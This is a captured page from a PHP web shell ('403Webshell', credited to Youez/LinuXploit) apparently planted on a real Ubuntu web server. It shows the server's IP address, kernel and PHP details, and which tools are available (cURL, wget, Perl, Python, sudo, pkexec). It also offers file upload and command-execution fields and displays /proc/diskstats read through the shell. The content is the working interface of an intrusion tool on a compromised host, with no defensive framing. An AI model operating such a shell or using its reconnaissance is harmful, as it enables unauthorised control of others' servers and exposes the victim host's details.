403Webshell
Server IP : 103.88.176.108  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux webserver 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/diskstats
   7       0 loop0 91686 0 191150 24475 0 0 0 0 0 21188 5220 0 0 0 0
   7       1 loop1 98641 0 201650 43190 0 0 0 0 0 9804 14440 0 0 0 0
   7       2 loop2 105198 0 218150 21633 0 0 0 0 0 19968 0 0 0 0 0
   7       3 loop3 477560 0 963672 70983 0 0 0 0 0 51916 4572 0 0 0 0
   7       4 loop4 48757 0 107167 14062 0 0 0 0 0 12456 276 0 0 0 0
   7       5 loop5 400596 0 810373 125795 0 0 0 0 0 42148 5336 0 0 0 0
   7       6 loop6 61129 0 127458 7935 0 0 0 0 0 7496 0 0 0 0 0
   7       7 loop7 137410 0 281368 34942 0 0 0 0 0 26420 5244 0 0 0 0
  11       0 sr0 4094 0 364168 1156 0 0 0 0 0 1276 84 0 0 0 0
 252       0 vda 3306489 248340 218520545 2677230 173988376 181933013 3487851960 126398537 0 132262692 7417900 0 0 0 0
 252       1 vda1 279 0 2218 63 0 0 0 0 0 200 0 0 0 0 0
 252       2 vda2 3305882 248340 218502736 2676711 150310485 181933005 3487851880 124487563 0 131884372 7416964 0 0 0 0
   7       8 loop8 170218 0 345642 34740 0 0 0 0 0 19156 6792 0 0 0 0
   7       9 loop9 222 0 2454 69 0 0 0 0 0 204 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit